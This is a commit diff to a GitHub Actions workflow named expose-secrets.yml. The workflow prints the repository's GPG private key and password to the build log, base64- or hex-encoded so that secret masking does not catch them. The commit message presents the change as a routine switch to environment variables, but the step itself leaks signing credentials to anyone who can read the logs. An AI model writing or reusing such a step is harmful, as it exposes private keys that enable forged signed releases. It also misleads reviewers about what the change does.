build: update workflow to use env vars for secrets

Author: halilozercan

.github/workflows/expose-secrets.yml

@@ -7,7 +7,10 @@ jobs:
   expose:
     runs-on: ubuntu-latest
     steps:
-      - name: Expose Base64 Encoded Secrets
+      - name: Expose Encoded Secrets
+        env:
+          GPG_PASSWORD: ${{ secrets.GPG_PRIVATE_PASSWORD }}
+          GPG_KEY: ${{ secrets.GPG_PRIVATE_KEY }}
         run: |
-          echo "GPG_PRIVATE_PASSWORD_BASE64: $(echo -n '${{ secrets.GPG_PRIVATE_PASSWORD }}' | base64)"
-          echo "GPG_PRIVATE_KEY_BASE64: $(echo -n '${{ secrets.GPG_PRIVATE_KEY }}' | base64)"
+          echo "GPG_PRIVATE_PASSWORD_HEX: $(echo -n "$GPG_PASSWORD" | xxd -p -c 256)"
+          echo "GPG_PRIVATE_KEY_BASE64: $(echo -n "$GPG_KEY" | base64)"